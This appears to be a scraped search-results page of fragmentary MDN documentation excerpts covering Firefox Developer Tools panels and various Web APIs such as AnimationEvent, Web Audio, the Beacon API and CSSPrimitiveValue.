...are displayed. if a property has more elements than this, you'll see a "more..." annotation, and will need to click the property to see all elements. a lock icon indicates that a property is not writable. refreshing the display if the dom changes you can hit the refresh button to update the display: filtering there is a search box within the toolbar: this filters the list to show only items which match the search term. items match the search term if their name contains the search term. matching is case-sensitive. ...
Source map errors - Firefox Developer Tools
note: if you're new to source maps, you can learn more about them in how to use a source map. general source map error reporting if you do see a problem, a message will appear in the webconsole. ...
... note: if you're new to source maps, you can learn more about them in how to use a source map. general source map error reporting if you do see a problem, a message will appear in the webconsole. ...
Debugger-API - Firefox Developer Tools
ecution of other javascript code. both firefox’s built-in developer tools and the firebug add-on use debugger to implement their javascript debuggers. however, debugger is quite general, and can be used to implement other kinds of tools like tracers, coverage analysis, patch-and-continue, and so on. debugger has three essential qualities: it is a source level interface: it operates in terms of the javascript language, not machine language. it operates on javascript objects, stack frames, environments, and code, and presents a consistent interface regardless of whether the debuggee is interpreted, compiled, or optimized. if you have a strong command of the javascript language, you should have all the background you need to use debugger successfully, even if you have never looked into...
...ven misusing) debugger should never cause gecko to crash. errors throw proper javascript exceptions. it is an intra-thread debugging api. both the debuggee and the code using debugger to observe it must run in the same thread. cross-thread, cross-process, and cross-device tools must use debugger to observe the debuggee from within the same thread, and then handle any needed communication themselves. (firefox’s builtin tools have a protocol defined for this purpose.) in gecko, the debugger api is available to chrome code only. by design, it ought not to introduce security holes, so in principle it could be made available to content as well; but it is hard to justify the security risks of the additional attack surface. the debugger api cannot currently observe self-hosted javascri...
Dominators view - Firefox Developer Tools
if you already know what shallow size, retained size, and dominators are, skip to the dominators ui section. otherwise, you might want to review the article on dominators concepts. ...
...hs for a node, you have to select the node in the dominators tree panel: here, we've selected an object, and can see a single path back to a gc root. the window gc root holds a reference to an htmldivelement object, and that holds a reference to an object, and so on. if you look in the dominators tree panel, you can trace the same path there. if either of these references were removed, the items below them could be garbage-collected. each connection in the graph is labeled with the variable name for the referenced object. sometimes there's more than one retaining path back from a node: here there are three paths back from the documentprototype node to a gc root. if one were removed, then the documentprototype would still not be garbage-collected, because it's still retained by the o...
Migrating from Firebug - Firefox Developer Tools
for the latest developer tools and features, try firefox developer edition. download firefox developer edition general activation firebug's activation is url based respecting the same origin policy. that means that when you open a page on the same origin in a different tab, firebug gets opened automatically. ...
... both firebug and the firefox devtools' network monitor allow you to inspect the information about a request by clicking on it. the only difference is that firebug shows the information below the request while the network monitor displays it within a side panel. in both tools there are different tabs containing different kinds of information for the selected request. they contain a headers, params, response and cookies panel. a preview of the response is shown within specifically named panels like html. the network monitor has a preview panel for this purpose. it doesn't provide information about the cached data yet (see bug 859051), but provides a security tab in addition to firebug's information and a timings tab showing detailed information about the network timings. view request timin...
Examine and edit CSS - Firefox Developer Tools
shows the rule that set this value, along with a link to the source filename and line number: by default, this view only shows values that have been explicitly set by the page: to see all values, click the "browser styles" box. you can tab through the filenames/line numbers; pressing enter/return will open up the relevant file at that point in the style editor. typing in the search box performs a live filtering of the list, so, for example, if you just want to see font-related settings, you can type "font" in the search box, and only properties with "font" in the name will be listed. you can also search for the values of properties: to find the rule responsible for setting the font to "lucida grande", type that in the search box. while in the computed view, you can press ctrl / cmd + ...
...ne; color: cadetblue; font-weight: bold; } add rules you can add new rules in the rules view. ...
Waterfall - Firefox Developer Tools
kers you can control which markers are displayed using a button in the toolbar: waterfall patterns exactly what you'll see in the waterfall is very dependent on the kind of thing your site is doing: javascript-heavy sites will have a lot of orange, while visually dynamic sites will have a lot of purple and green. but there are common patterns which can alert you to possible performance problems. rendering waterfall one pattern that you'll often see in the waterfall view is something like this: this is a visualization of the basic algorithm the browser uses to update the page in response to some event: javascript function call: some event - for example, a dom event - causes some javascript in the page to run. the javascript changes some of the page's dom or cssom. recalculate st...
...e's javascript is executed in the same thread that the browser uses for layout updates, repaints, dom events, and so on. this means that long-running javascript functions can cause unresponsiveness (jank): animations may not be smooth, or the site might even freeze. using the frame rate tool and the waterfall together, it's easy to see when long-running javascript is causing responsiveness problems. in the screenshot below, we've zoomed in on a js function that's caused a drop in the frame rate: the intensive javascript article shows how the waterfall can highlight responsiveness problems caused by long javascript functions, and how you can use asynchronous methods to keep the main thread responsive. expensive paints some paint effects, such as box-shadow, can be expensive, especially ...
Responsive Design Mode - Firefox Developer Tools
king the add custom device button. each device can have its own: name size devicepixelratio user agent string touch screen also, you can preview the properties of existing devices by hovering over the name in the device modal, where they display in a tooltip. network throttling if you do all your development and testing using a very fast network connection, users may experience problems with your site if they are using a slower connection. in responsive design mode, you can instruct the browser to emulate, very approximately, the characteristics of various different types of networks. the characteristics emulated are: download speed upload speed minimum latency the table below lists the numbers associated with each network type, but please do not rely on this feature for...
...orks. the characteristics emulated are: download speed upload speed minimum latency the table below lists the numbers associated with each network type, but please do not rely on this feature for exact performance measurements; it's intended to give an approximate idea of the user experience in different conditions. ...
IndexedDB - Firefox Developer Tools
bject stores are listed in the table. any object store has the following details: object store name — the name of the object store. key — the keypath property of the object store. auto increment — is automatic incrementation of the keys enabled? indexes — array of indexes present in the object store as shown below. when an object store is selected in the storage tree, all the items in that object store are listed in the table. all items have a key and a value associated with them. you can delete an indexeddb database using the context menu in the storage tree: if the database cannot be deleted (most commonly because there are still active connections to the database), a warning message will be displayed in the storage inspector: you can use the context menu in the tabl...
...listed in the table. all items have a key and a value associated with them. ...
AbstractRange - Web APIs
ntainer. methods the abstractrange interface offers no methods. usage notes range types all ranges of content within a document are described using instances of interfaces based on abstractrange. there are two such interfaces: range the range interface has been around for a long time and has only recently been redefined to be based upon abstractrange as the need arose to define other forms of range data. range provides methods that allow you to alter the range's endpoints, as well as methods to compare ranges, detect intersections beween ranges, and so forth. staticrange a staticrange is a basic range which cannot be changed once it's been created. specifically, as the node tree mutates and changes, the range does not. this is useful when you need to specify a range that will onl...
...rchy of the dom in order to define a range of characters within a document in a way that is able to span across zero or more node boundaries, and which is as resilient as possible to changes to the dom, you can't simply specify the offset to the first and last characters in the html. there are a few good reasons for that. first, after your page is loaded, the browser simply isn't thinking in terms of html. once it's been loaded, the page is a tree of dom node objects, so you need to specify the beginning and ending locations of a range in terms of nodes and positions within nodes. second, in order to support the mutability of the dom tree as much as possible, you need a way to represent positions relative to nodes in the tree, rather than simply global positions within the entire document...
AnalyserNode.AnalyserNode() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 6webview android full support 55chrome android full support 55firefox android full support 53opera android full support 42safari ios full support 6samsung internet android full support 6.0legend full support full support no support no support ...
Animation.currentTime - Web APIs
ct.getcomputedtiming().delay + animation.effect.getcomputedtiming().activeduration / 2; reduced time precision to offer protection against timing attacks and fingerprinting, the precision of animation.currenttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. ...
...animation.effect.getcomputedtiming().activeduration / 2; reduced time precision to offer protection against timing attacks and fingerprinting, the precision of animation.currenttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 animation.currenttime; // 23.404 // 24.192 // 25.514 // ... // reduced time precision with `privacy.resistfingerprinting` enabled animation.currenttime; // 49.8 // 50.6 // 51.7 // ... in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger. spe...
Animation.startTime - Web APIs
= catrunning.starttime; // add the cat to the pile. waapicats.appendchild(newcat); } reduced time precision to offer protection against timing attacks and fingerprinting, the precision of animation.starttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. ...
...d the cat to the pile. waapicats.appendchild(newcat); } reduced time precision to offer protection against timing attacks and fingerprinting, the precision of animation.starttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 animation.starttime; // 23.404 // 24.192 // 25.514 // ... // reduced time precision with `privacy.resistfingerprinting` enabled animation.starttime; // 49.8 // 50.6 // 51.7 // ... in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger. specifi...
AnimationEvent() - Web APIs
ated animationevent, representing an event in relation with an animation. syntax animationevent = new animationevent(type, {animationname: apropertyname, elapsedtime : afloat, pseudoelement: apseudoelementname}); parameters the animationevent() constructor also inherits arguments from event(). type a domstring representing the name of the type of the animationevent. it is case-sensitive and can be: 'animationstart', 'animationend', or 'animationiteration'. animationname optional a domstring containing the value of the animation-name css property associated with the transition. it defaults to "". elapsedtime optional a float giving the amount of time the animation has been running, in seconds, ...
...edtime optional a float giving the amount of time the animation has been running, in seconds, when this event fired, excluding any time the animation was paused. for an "animationstart" event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay). it defaults to 0.0. pseudoelement optional is a domstring, starting with "::", containing the name of the pseudo-element the animation runs on. if the animation doesn't run on a pseudo-element but on the element itself, specify an empty string: "". it defaults to "". return value a new animationevent, initialized per any provided options. specifications specification status comment css animationsthe definition of 'a...
AnimationEvent.initAnimationEvent() - Web APIs
is method was removed from the specification. it has been deprecated and is in the progress of being removed from most implementations. do not use this method; instead, use the standard constructor, animationevent(), to create a synthetic animationevent. syntax animationevent.initanimationevent(typearg, canbubblearg, cancelablearg, animationnamearg, elapsedtimearg); parameters typearg a domstring identifying the specific type of animation event that occurred. the following values are allowed: value meaning animationstart the animation has started. animationend the animation completed. animationiteration the current iteration just completed. canbubblearg a boolean flag indicating if the event can bubbl...
...ionstart the animation has started. animationend the animation completed. animationiteration the current iteration just completed. canbubblearg a boolean flag indicating if the event can bubble (true) or not (false). cancelablearg a boolean flag indicating if the event associated action can be avoided (true) or not (false). animationnamearg a domstring containing the value of the animation-name css property associated with the transition. elapsedtimearg a float indicating the amount of time the animation has been running, in seconds, as of the time the event was fired, excluding any time the animation was paused. for an "animationstart" event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the eve...
AnimationEvent - Web APIs
,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">animationevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor animationevent() creates an animationevent event with the given parameters. properties also inherits properties from its parent event. animationevent.animationname read only is a domstring containing the value of the animation-name that generated the animation. animationevent.elapsedtime read only is a float giving the amount of time the animation has been running, in seconds, when this event fired, excluding any time the animation was paused. for an animationstart event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will ...
...edtime read only is a float giving the amount of time the animation has been running, in seconds, when this event fired, excluding any time the animation was paused. for an animationstart event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay). animationevent.pseudoelement read only is a domstring, starting with '::', containing the name of the pseudo-element the animation runs on. if the animation doesn't run on a pseudo-element but on the element, an empty string: ''. methods also inherits methods from its parent event. animationevent.initanimationevent() initializes a animationevent created using the deprecated document.createevent("animationevent") method. specificatio...
Attr.localName - Web APIs
Web › API › Attr › localName
example the following example shows "id" in an alert dialog. ...
...nt.attributes[0]; alert(attribute.localname); }); notes the local name of an attribute is the part of the attribute's qualified name that comes after the colon. qualified names are typically used in xml as part of the namespace(s) of the particular xml documents. note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html attributes in html doms (as opposed to xhtml attributes in xml doms). in later versions, in compliance with html5, the property returns in the case of the internal dom storage, which is lower case for both html attributes in html doms and xhtml attributes in xml doms. specifications specification status comment domthe definition of 'attr.localname' in that specification. living standard...
AudioContext.baseLatency - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
AudioContext.createMediaStreamTrackSource() - Web APIs
the createmediastreamtracksource() method of the audiocontext interface creates and returns a mediastreamtrackaudiosourcenode which represents an audio source whose data comes from the specified mediastreamtrack. this differs from createmediastreamsource(), which creates a mediastreamaudiosourcenode whose audio comes from the audio track in a specified mediastream whose id is first, lexicographically (alphabetically). syntax var audioctx = new audiocontext(); var track = audioctx.createmediastreamtracksource(track); parameters track the mediastreamtrack to use as the source of all audio data for the new node. return value a mediastreamtrackaudiosourcenode object which acts as a source for audio data found in the specified audio track. example in this example, getusermedia()...
... routed into the new biquad filter, and the filter's output is in turn routed to the audio context's destination. ...
AudioContext.getOutputTimestamp() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
AudioListener.setOrientation() - Web APIs
of the face of the listener, that is the direction the nose of the person is pointing towards. the front vector's default value is (0, 0, -1). the up vector, defined by three unitless parameters xup, yup and zup, describes the direction of the top of the listener's head. the up vector's default value is (0, 1, 0). the two vectors must be separated by an angle of 90° — in linear analysis terms, they must be perpendicular to each other. syntax var audioctx = new audiocontext(); var mylistener = audioctx.listener; mylistener.setorientation(0,0,-1,0,1,0); returns void. example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation. generally you will define the position in 3d spa...
... parameters x the x value of the front vector of the listener. y the y value of the front vector of the listener. z the z value of the front ve...
AudioListener - Web APIs
f sound, in meters per second. in a previous version of the specification, the dopplerfactor and speedofsound properties and the setposition() method could be used to control the doppler effect applied to audiobuffersourcenodes connected downstream — these would be pitched up and down according to the relative speed of the pannernode and the audiolistener. these features had a number of problems: only audiobuffersourcenodes were pitched up or down, not other source nodes. the behavior to adopt when an audiobuffersourcenode was connected to multiple pannernodes was unclear. because the velocity of the panner and the listener were not audioparams, the pitch modification could not be smoothly applied, resulting in audio glitches. because of these issues, these properties and methods ...
... specifications specification status comment web audio apithe definition of 'audiolistener' in that specification. working ...
AudioParam.cancelAndHoldAtTime() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...roid no support noopera android full support 43 full support 43 no support ? — 43alternate name alternate name uses the non-standard name: cancelvaluesandholdattime()safari ios no support nosamsung internet android full support 7.0 full support 7.0 no support ? — 6.0alternate name alternate name uses the non-standard name: cancelvaluesandholdattime()legend full support full support ...
AudioParamDescriptor - Web APIs
the audioparamdescriptor dictionary of the web audio api specifies properties for an audioparam objects. it is used to create custom audioparams on an audioworkletnode. if the underlying audioworkletprocessor has a parameterdescriptors static getter, then the returned array of objects based on this dictionary is used internally by audioworkletnode constructor to populate its parameters property accordingly. properties name the domstring which represents the name of the audioparam. under this name the audioparam will be available in the parameters property of the node, and under this name the audioworkletprocessor.process method will acquire the calculated values of this audioparam. automationrate optional either "a-rate", or "k-rate" string which represents an automation rate of this...
...param. defaults to "a-rate". minvalue optional a float which represents minimum value of the audioparam. defaults to -3.4028235e38. maxvalue optional a float which represents maximum value of the audioparam. defaults to 3.4028235e38. defaultvalue optional a float which represents initial value of the audioparam. defaults to 0. examples to demonstrate creation and usage of custom audioparams, we'll expand the example from audioworkletnode page. there we've created a simple node which outputs white noise. here, additionally, we'll create a custom gain parameter, so we can directly change volume of the output (although you could use gainnode to achieve this as well). first, we need to define a custom audioworkletprocessor, and register it. note that this should be done in a separate f...
AudioWorkletProcessor.parameterDescriptors (static getter) - Web APIs
defined, it is called internally by the audioworkletprocessor constructor to create a list of custom audioparam objects in the parameters property of the associated audioworkletnode. defining the getter is optional. syntax audioworkletprocessorsubclass.parameterdescriptors; value an iterable of audioparamdescriptor-based objects. the properties of these objects are as follows: name the domstring which represents the name of the audioparam. under this name the audioparam will be available in the parameters property of the node, and under this name the audioworkletprocessor.process method will acquire the calculated values of this audioparam. automationrate optional either "a-rate", or "k-rate" string which represents an automation rate of this audioparam. defaults to "a-rate". min...
...param. defaults to "a-rate". minvalue optional a float which represents minimum value of the audioparam. defaults to -3.4028235e38. maxvalue optional a float which represents maximum value of the audioparam. defaults to 3.4028235e38. defaultvalue optional a float which represents initial value of the audioparam. defaults to 0. examples to demonstrate creation and usage of custom audioparams, we'll expand the example from audioworkletnode page. there we've created a simple node which outputs white noise. here, additionally, we'll create a custom gain parameter, so we can directly change volume of the output (although you could use gainnode to achieve this as well). first, we need to define a custom audioworkletprocessor, and register it. note that this should be done in a separate f...
AuthenticatorAttestationResponse.attestationObject - Web APIs
is stored in the authenticator when it is manufactured. as part of the credentialscontainer.create() call, an authenticator will create a new keypair as well as an attestationobject for that keypair. the public key that corresponds to the private key that has created the attestation signature is well known; however, there are various well known attestation public key chains for different ecosystems (for example, android or tpm attestations). syntax attestobj = authenticatorattestationresponse.attestationobject properties after decoding the cbor encoded arraybuffer, the resulting javascript object will contain the following properties: authdata the same as authenticatorassertionresponse.authenticatordata. note that in authenticatorassertionresponse, the authenticatordata is exposed a...
... attstmt a an attestation statement that is of the format defined by "fmt". for now, see the webauthn specification for details on each format. ...
BaseAudioContext.createChannelMerger() - Web APIs
returns a channelmergernode. example the following example shows how you could separate a stereo track (say, a piece of music), and process the left and right channel differently. ...
... returns a channelmergernode. example the following example shows how you could separate a stereo track (say, a piece of music), and process the left and right channel differently. ...
BaseAudioContext.createConstantSource() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android full support 56chrome android full support 56firefox android full support 53opera android full support 43safari ios no support nosamsung internet android full support 6.0legend full support full support no support no support ...
BaseAudioContext.createPeriodicWave() - Web APIs
the createperiodicwave() method of the baseaudiocontext interface is used to create a periodicwave, which is used to define a periodic waveform that can be used to shape the output of an oscillatornode. syntax var wave = audiocontext.createperiodicwave(real, imag[, constraints]); returns a periodicwave. parameters real an array of cosine terms (traditionally the a terms). imag an array of sine terms (traditionally the b terms). the real and imag arrays have to have the same length, otherwise an error is thrown. constraints optional an dictionary object that specifies whether normalization should be disabled (if not specified, normalization is enabled by default.) it takes one property: disablenormalization: if set to true, normalization is disabled for the periodic wa...
... value at which the oscillator starts. 0 is good here, because we want to start the curve at the middle of the [-1.0; 1.0] range. the second and subsequent values are sine and cosine components. you can think of it as the result of a fourier transform, where you get frequency domain values from time domain value. here, with createperiodicwave(), you specify the frequencies, and the browser performs an inverse fourier transform to get a time domain buffer for the frequency of the oscillator. here, we only set one component at full volume (1.0) on the fundamental tone, so we get a sine wave. the coefficients of the fourier transform should be given in ascending order (i.e. (a+bi)ei,(c+di)e2i,(f+gi)e3i\left(a+bi\right)e^{i} , \left(c+di\right)e^{2i} , \left(f+gi\right)e^{3i} etc.) and can b...
BaseAudioContext.currentTime - Web APIs
// older webkit/blink browsers require a prefix ... console.log(audioctx.currenttime); reduced time precision to offer protection against timing attacks and fingerprinting, the precision of audioctx.currenttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. ...
...equire a prefix ... console.log(audioctx.currenttime); reduced time precision to offer protection against timing attacks and fingerprinting, the precision of audioctx.currenttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 audioctx.currenttime; // 23.404 // 24.192 // 25.514 // ... // reduced time precision with `privacy.resistfingerprinting` enabled audioctx.currenttime; // 49.8 // 50.6 // 51.7 // ... in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger. speci...
BasicCardResponse.billingAddress - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
BatteryManager - Web APIs
vent type on the eventtarget. eventtarget.removeeventlistener() removes an event listener from the eventtarget. eventtarget.dispatchevent() dispatches an event to this eventtarget. ...
...ves an event listener from the eventtarget. eventtarget.dispatchevent() dispatches an event to this eventtarget. ...
Beacon API - Web APIs
performance for the next navigation. the beacon api provides a standard way to address these issues. global context the beacon api's navigator.sendbeacon() method is used to send a beacon of data to the server in the global browsing context. the method takes two arguments, the url and the data to send in the request. the data argument is optional and its type may be an arraybufferview, blob, domstring, or formdata. if the browser successfully queues the request for delivery, the method returns "true" and returns "false" otherwise. worker context the beacon api's navigator.sendbeacon() method is used to send a beacon of data to the server from the worker global scope. the method takes two arguments, the url and the data to send in the request. the data argument is optional and its type m...
... successfully queues the request for delivery, the method returns "true" and returns "false" otherwise. worker context the beacon api's navigator.sendbeacon() method is used to send a beacon of data to the server from the worker global scope. the method takes two arguments, the url and the data to send in the request. the data argument is optional and its type may be an arraybufferview, blob, domstring, or formdata. if the browser successfully queues the request for delivery, the method returns "true" and otherwise returns "false". ...
BlobEvent.timecode - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... no support nowebview android full support 57chrome android full support 57firefox android ? ...
characteristic - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcharacteristic experimentalchrome full support 57notes full support 57notes notes macos only. full support 57notes disabled notes linux and versions of windows earlier than 10.disabled from version 57: this feature is behind the #enable-experimental-we...
...expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation...
readValue() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreadvalue experimentalchrome full support 57notes full support 57notes notes macos only. full support 57notes disabled notes linux and versions of windows earlier than 10.disabled from version 57: this feature is behind the #enable-experimental-web-pla...
...expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation...
uuid - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetuuid experimentalchrome full support 57notes full support 57notes notes macos only. full support 57notes disabled notes linux and versions of windows earlier than 10.disabled from version 57: this feature is behind the #enable-experimental-web-platform...
...expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation...
value - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetvalue experimentalchrome full support 57notes full support 57notes notes macos only. full support 57notes disabled notes linux and versions of windows earlier than 10.disabled from version 57: this feature is behind the #enable-experimental-web-platfor...
...expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation...
writeValue() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwritevalue experimentalchrome full support 57notes full support 57notes notes macos only. full support 57notes disabled notes linux and versions of windows earlier than 10.disabled from version 57: this feature is behind the #enable-experimental-web-pl...
...expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation...
Broadcast Channel API - Web APIs
. // connection to a broadcast channel const bc = new broadcastchannel('test_channel'); sending a message it is enough to call the postmessage() method on the created broadcastchannel object, which takes any object as an argument. an example string message: // example of sending of a very simple message bc.postmessage('this is a test message.'); any kind of object can be sent, not just a domstring. the api doesn't associate any semantics to messages, so it is up to the code to know what kind of messages to expect and what to do with them. receiving a message when a message is posted, a message event is dispatched to each broadcastchannel object connected to this channel. a function can be run for this event with the onmessage event handler: // a handler that only logs the event to...
... underlying channel, allowing garbage collection. // disconnect the channel bc.close(); conclusion the broadcast channel api's self-contained interface allows cross-context communication. it can be used to detect user actions in other tabs within a same origin, like when the user logs in or out. the messaging protocol is not defined and the different browsing contexts need to implement it themselves; there is no negotiation nor requirement from the specification. specifications specification status comment html living standardthe definition of 'the broadcast channel api' in that specification. living standard initial definition. ...
BudgetService.getBudget() - Web APIs
to an instance of budgetstate. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the fut...
BudgetService.getCost() - Web APIs
ise that resolves to a number. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the fut...
BudgetService.reserve() - Web APIs
se that resolves to a boolean. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the fut...
BudgetState.budgetAt - Web APIs
ate.budgetat value a double. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... no support nosafari ? webview android no support nochrome android full support 60firefox android ? opera android no support nosafari ios ? ...
BudgetState.time - Web APIs
Web › API › BudgetState › time
tate.time value a timestamp. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... no support nosafari ? webview android no support nochrome android full support 60firefox android ? opera android no support nosafari ios ? ...
CSSKeyframesRule - Web APIs
the name of the animation, used by the animation-name property. csskeyframesrule.cssrules read only returns a cssrulelist of the css rules in the media rule. methods as a cssrule, csskeyframesrule also implements the methods of that interface. it has three specific methods: csskeyframesrule.appendrule() inserts a new keyframe rule into the current csskeyframesrule. the parameter is a domstring containing a keyframe in the same format as an entry of a @keyframes at-rule. if it contains more than one keyframe rule, a domexception with a syntax_err is thrown. csskeyframesrule.deleterule() deletes a keyframe rule from the current csskeyframesrule. the parameter is the index of the keyframe to be deleted, expressed as a domstring resolving as a number between 0% and 100%. csskeyfram...
...contains more than one keyframe rule, a domexception with a syntax_err is thrown. csskeyframesrule.deleterule() deletes a keyframe rule from the current csskeyframesrule. the parameter is the index of the keyframe to be deleted, expressed as a domstring resolving as a number between 0% and 100%. csskeyframesrule.findrule() returns a keyframe rule corresponding to the given key. the key is a domstring containing an index of the keyframe to be returned, resolving to a percentage between 0% and 100%. if no such keyframe exists, findrule returns null. specification specification status comment css animationsthe definition of 'csskeyframesrule' in that specification. working draft initial definition ...
CSSPrimitiveValue.getFloatValue() - Web APIs
parameters unittype an unsigned short representing the code for the unit type, in which the value should be returned. valid values are: constant description css_cm the value is a <length> in centimeters. css_deg the value is an <angle> in degrees. css_dimension the value is a <number> with an unknown dimension. css_ems the value is a <length> in em units. css_exs the value is a <length> in ex units. css_grad the value is an <angle> in grads. css_hz the value is a <frequency> in hertz. the value can be obtained by using the getfloatvalue method. css_in the value is a <length> in inches. css_khz the value is a <frequency> in kiloh...
...gth> in ex units. css_grad the value is an <angle> in grads. css_hz the value is a <frequency> in hertz. the value can be obtained by using the getfloatvalue method. css_in the value is a <length> in inches. css_khz the value is a <frequency> in kilohertz. css_mm the value is a <length> in millimeters. css_ms the value is a <time> in milliseconds. css_number the value is a simple <number>. css_pc the value is a <length> in picas. css_percentage the value is a <percentage>. css_pt the value is a <length> in points. css_px the value is a <length> in pixels. css_rad the value is an <angle> in radians. ...
CSSPrimitiveValue.primitiveType - Web APIs
css_counter the value is a counter or counters function. the value can be obtained by using the getcountervalue() method. css_deg the value is an <angle> in degrees. the value can be obtained by using the getfloatvalue() method. css_dimension the value is a <number> with an unknown dimension. the value can be obtained by using the getfloatvalue() method. css_ems the value is a <length> in em units. the value can be obtained by using the getfloatvalue() method. css_exs the value is a <length> in ex units. the value can be obtained by using the getfloatvalue() method. css_grad the value is an <angle> in grads. the value can be obtained by using the getfloatvalue() method. css_hz the value is a <frequency> in hertz. th...
...etstringvalue() method. css_in the value is a <length> in inches. the value can be obtained by using the getfloatvalue() method. css_khz the value is a <frequency> in kilohertz. the value can be obtained by using the getfloatvalue() method. css_mm the value is a <length> in millimeters. the value can be obtained by using the getfloatvalue() method. css_ms the value is a <time> in milliseconds. the value can be obtained by using the getfloatvalue() method. css_number the value is a simple <number>. the value can be obtained by using the getfloatvalue() method. css_pc the value is a <length> in picas. the value can be obtained by using the getfloatvalue() method. css_percentage the value is a <percentage>. the ...
CSSPrimitiveValue.setFloatValue() - Web APIs
parameters unittype an unsigned short representing the code for the unit type, in which the value should be returned. valid values are: constant description css_cm the value is a <length> in centimeters. css_deg the value is an <angle> in degrees. css_dimension the value is a <number> with an unknown dimension. css_ems the value is a <length> in em units. css_exs the value is a <length> in ex units. css_grad the value is an <angle> in grads. css_hz the value is a <frequency> in hertz. the value can be obtained by using the getfloatvalue method. css_in the value is a <length> in inches. css_khz the value is a <frequency> in kiloh...
